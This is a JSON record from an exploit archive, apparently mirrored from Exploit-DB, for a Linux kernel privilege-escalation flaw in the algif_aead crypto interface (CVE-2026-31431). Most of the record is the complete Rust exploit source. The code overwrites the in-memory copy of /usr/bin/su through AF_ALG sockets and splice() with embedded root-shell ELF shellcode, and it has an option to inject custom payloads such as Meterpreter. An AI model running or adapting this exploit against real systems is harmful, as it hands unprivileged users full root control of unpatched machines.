{"exploit":{"id":"EDB-52573","name":"Linux Kernel 6.8 - Local Privilege Escalation (LPE)","description":"Linux Kernel 6.8 - Local Privilege Escalation (LPE)","cves":["CVE-2026-31431"],"author":"Long Fong Chan","published":"2026-05-26","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52573","path":"exploits/linux/local/52573.rs","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52573.rs","vulnerabilities":[{"id":"CVE-2026-31431","state":"PUBLISHED","title":"crypto: algif_aead - Revert to operating out-of-place","titleSource":"CVE Program","description":"In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-31431","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"Linux","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-31431"},"updatedAt":"2026-10-15T01:16:12.771Z","retrievedAt":"2026-11-25T16:15:50.253Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52573.png?v=2","url":"https://exploitbin.com/exploits/EDB-52573","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52573/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52573/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" * Exploit Title: Linux Kernel 5.4 - 6.8 - Local Privilege Escalation\n * Google Dork: N/A\n * Date: 2026-04-30\n * Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng)\n * Vendor Homepage: https://www.kernel.org/\n * Software Link: https://git.kernel.org/\n * Version: Linux Kernel 5.4 - 6.8 (unpatched)\n * Tested on: Ubuntu 22.04, Debian 12\n *\n * Description:\n * Linux kernel AF_ALG (algif_aead) vulnerability allows local users\n * to perform arbitrary file overwrite in page cache via splice()\n * and AEAD crypto interface, leading to privilege escalation.\n *\n * This exploit overwrites /usr/bin/su in memory and spawns a root shell.\n *\n * Requirements:\n * - Unprivileged local user\n * - algif_aead module loaded\n *\n * Usage:\n *   --test       Check vulnerability\n *   --exploit    Spawn root shell\n *   --bin <file> Use custom payload\n */\n\nuse std::{env, fs, io};\nuse std::ffi::CString;\nuse std::fs::File;\nuse std::io::{Read, Write};\nuse std::os::unix::io::AsRawFd;\n\nconst TARGET_BINARY: &str = \"/usr/bin/su\";\nconst TEST_FILE: &str = \"/tmp/.cve_test\";\n\n// Shellcode (/bin/bash)\n/*\n; https://filippo.io/linux-syscall-table/\ndb 0x7f, 'ELF', 2, 1, 1, 0      ; e_ident\ndq 0                            ; padding\ndw 2                            ; e_type (ET_EXEC)\ndw 62                           ; e_machine (EM_X86_64)\ndd 1                            ; e_version\ndq 0x400078                     ; e_entry (Entry point)\ndq 0x40                         ; e_phoff (Program Header Offset)\ndq 0                            ; e_shoff\ndd 0                            ; e_flags\ndw 64                           ; e_ehsize\ndw 56                           ; e_phentsize\ndw 1                            ; e_phnum\ndw 0, 0, 0                      ; s_header info\n\n; Program Header\ndd 1                            ; p_type (PT_LOAD)\ndd 5                            ; p_flags (PF_R | PF_X)\ndq 0                            ; p_offset\ndq 0x400000                     ; p_vaddr\ndq 0x400000                     ; p_paddr\ndq 0x9e                         ; p_filesz\ndq 0x9e                         ; p_memsz\ndq 0x1000                       ; p_align\n\n; Program\n_start:\n    ; setuid(0)\n    xor eax, eax                ; clear eax\n    xor edi, edi                ; edi = 0 (UID 0)\n    mov al, 105                 ; syscall 105 (setuid)\n    syscall\n\n    ; execve(\"/bin/bash\", NULL, NULL)\n    lea rdi, [rel path]         ; Load effective address of the string\n    xor esi, esi                ; argv = NULL\n    cdq                         ; edx = 0 (envp = NULL)\n    mov al, 59                  ; syscall 59 (execve)\n    syscall\n\n    ; exit(0)\n    xor edi, edi\n    push 60\n    pop rax                     ; syscall 60 (exit)\n    syscall\n\npath: db \"/bin/bash\", 0\n*/\nconst BASH_SHELLCODE: &[u8] = &[\n    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,\n    0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,\n    0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00\n];\n\nunsafe fn inject_payload(fd: i32, payload: &[u8]) {\n    for i in (0..payload.len()).step_by(4) {\n        let mut chunk = [0u8; 4];\n        let end = std::cmp::min(i + 4, payload.len());\n        chunk[..end - i].copy_from_slice(&payload[i..end]);\n\n        do_kernel_injection(fd, i, &chunk);\n\n        if i % 40 == 0 {\n            io::stdout().flush().ok();\n        }\n    }\n}\n\n// Linux kernel injection\nunsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: &[u8]) {\n    let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0);\n    let mut addr: [u8; 88] = [0; 88];\n    addr[0..2].copy_from_slice(&38u16.to_ne_bytes());\n    std::ptr::copy_nonoverlapping(\"aead\".as_ptr(), addr.as_mut_ptr().add(2), 4);\n    let name = \"authencesn(hmac(sha256),cbc(aes))\";\n    std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len());\n    libc::bind(master_fd, addr.as_ptr() as _, 88);\n\n    let mut key = [0u8; 40];\n    key[0..8].copy_from_slice(&[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]);\n    libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40);\n    libc::setsockopt(master_fd, 279, 5, &4u32 as *const _ as _, 4);\n\n    let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut());\n    let mut cmsg_buf = [0u8; 128];\n    let mut data = [0u8; 8];\n    data[0..4].copy_from_slice(b\"AAAA\");\n    data[4..8].copy_from_slice(chunk);\n\n    let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 };\n    let mut msg: libc::msghdr = std::mem::zeroed();\n    msg.msg_iov = &mut iov;\n    msg.msg_iovlen = 1;\n    msg.msg_control = cmsg_buf.as_mut_ptr() as _;\n\n    let mut p = cmsg_buf.as_mut_ptr();\n\n    let mut h1: libc::cmsghdr = std::mem::zeroed();\n    h1.cmsg_len = libc::CMSG_LEN(4) as _;\n    h1.cmsg_level = 279;\n    h1.cmsg_type = 3;\n    *(p as *mut libc::cmsghdr) = h1;\n    p = p.add(libc::CMSG_SPACE(4) as usize);\n\n    let mut h2: libc::cmsghdr = std::mem::zeroed();\n    h2.cmsg_len = libc::CMSG_LEN(20) as _;\n    h2.cmsg_level = 279;\n    h2.cmsg_type = 2;\n    *(p as *mut libc::cmsghdr) = h2;\n    *(libc::CMSG_DATA(p as _) as *mut u32) = 16;\n    p = p.add(libc::CMSG_SPACE(20) as usize);\n\n    let mut h3: libc::cmsghdr = std::mem::zeroed();\n    h3.cmsg_len = libc::CMSG_LEN(4) as _;\n    h3.cmsg_level = 279;\n    h3.cmsg_type = 4;\n    *(p as *mut libc::cmsghdr) = h3;\n    *(libc::CMSG_DATA(p as _) as *mut u32) = 8;\n\n    msg.msg_controllen = 32 + 16 + 16;\n\n    libc::sendmsg(op_fd, &msg, 0x8000);\n\n    let mut pipes = [0i32; 2];\n    libc::pipe(pipes.as_mut_ptr());\n    let mut off: i64 = 0;\n\n    libc::splice(target_fd, &mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0);\n    libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0);\n\n    let mut drain = [0u8; 1024];\n    libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40);\n\n    libc::close(op_fd); libc::close(master_fd);\n    libc::close(pipes[0]); libc::close(pipes[1]);\n}\n\nfn main() -> io::Result<()> {\n    let args: Vec<String> = env::args().collect();\n    println!(\"--------------------------------------------------\");\n    println!(\"  CVE-2026-31431 Linux Copy-Fail Exploit (Rust)   \");\n    println!(\"--------------------------------------------------\");\n\n    if args.len() < 2 {\n        println!(\"Usage: {} [--test | --exploit | --bin <file>]\", args[0]);\n        return Ok(());\n    }\n\n    match args[1].as_str() {\n\n        \"--test\" => {\n            // Test vulnerability\n\n            println!(\"[*] Mode: Vulnerability Testing\");\n\n            let mut f = File::create(TEST_FILE)?;\n            f.write_all(&vec![b'A'; 64])?;\n            let target = File::open(TEST_FILE)?;\n\n            unsafe {\n                inject_payload(target.as_raw_fd(), b\"HACK\")\n            };\n\n            let mut res = vec![0u8; 4];\n            File::open(TEST_FILE)?.read_exact(&mut res)?;\n\n            if &res == b\"HACK\" {\n                println!(\"\\x1b[31;1m[!] VULNERABLE!\\x1b[0m\");\n            }\n            else {\n                println!(\"[+] SAFE\");\n            }\n\n            fs::remove_file(TEST_FILE).ok();\n        }\n\n        \"--exploit\" => {\n           // Vulnerability exploitation, provide interactive shell\n\n           println!(\"[*] Mode: Privilege Escalation (Default: /bin/bash)\");\n\n            let target = File::open(TARGET_BINARY)?;\n            unsafe {\n                inject_payload(target.as_raw_fd(), BASH_SHELLCODE)\n            };\n\n            println!(\"\\n[+] Spawning root shell...\");\n\n            let cmd = CString::new(\"su\").unwrap();\n            unsafe {\n                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());\n            }\n        }\n\n        \"--bin\" => {\n            // Load customized shellcode bin file, such as Meterpreter\n\n            if args.len() < 3 {\n                println!(\"[!] Error: Please specify a bin file.\");\n                return Ok(());\n            }\n\n            let bin_path = &args[2];\n\n            println!(\"[*] Mode: Custom Shellcode Injection\");\n            println!(\"[*] Loading: {}\", bin_path);\n\n            let custom_payload = fs::read(bin_path)?;\n            let target = File::open(TARGET_BINARY)?;\n\n            unsafe {\n                inject_payload(target.as_raw_fd(), &custom_payload)\n            };\n\n            println!(\"\\n[+] Injection complete. Executing {}...\", TARGET_BINARY);\n\n            let cmd = CString::new(\"su\").unwrap();\n            unsafe {\n                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());\n            }\n        }\n\n        _ => println!(\"[!] Unknown option.\")\n    }\n\n    Ok(())\n}","sha256":"37b4970d3b58127e634139858754d8790037c06411d22dd4e57694d32294f5d1","bytes":9343,"fetchedAt":"2026-11-26T08:59:41.927Z","encoding":"utf-8 (display only; download retains original bytes)"}